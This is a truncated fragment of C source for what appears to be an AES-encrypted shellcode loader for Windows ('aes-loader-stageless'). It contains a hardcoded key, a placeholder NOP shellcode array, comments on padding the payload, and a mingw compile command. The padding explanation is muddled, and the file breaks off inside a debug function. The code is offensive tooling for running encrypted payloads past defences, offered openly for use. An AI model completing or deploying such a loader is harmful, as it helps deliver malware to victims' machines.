#include #include #include #include #define AES_KEY_SIZE 16 static const unsigned char KEY[AES_KEY_SIZE] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F}; static const unsigned char SHELLCODE[] = "\x90\x90\x90\x90"; static const size_t SHELLCODE_LENGTH = 464; // update the SHELLCODE_LENGTH & KEY & SHELLCODE // IMPORTANT : to know if you have to add NOP at the end of the payload, do SHELLCODE_LENGTH % 16 // example : 120 % 16 = 8, now 8 * 16, it will give you 128, so you need to have 8 x\90 at the end of the payload and set size to 128 // to compile: x86_64-w64-mingw32-g++.exe -o Z:\dev\selha.exe Z:\dev\aes-loader-stageless.c -I "C:\Program Files\OpenSSL-Win64\include" -lcrypto -L "C:\Program Files\OpenSSL-Win64\lib" /* function for debug void hexdump(const unsigned char* ba, size_t size) { for(int i=0 ; i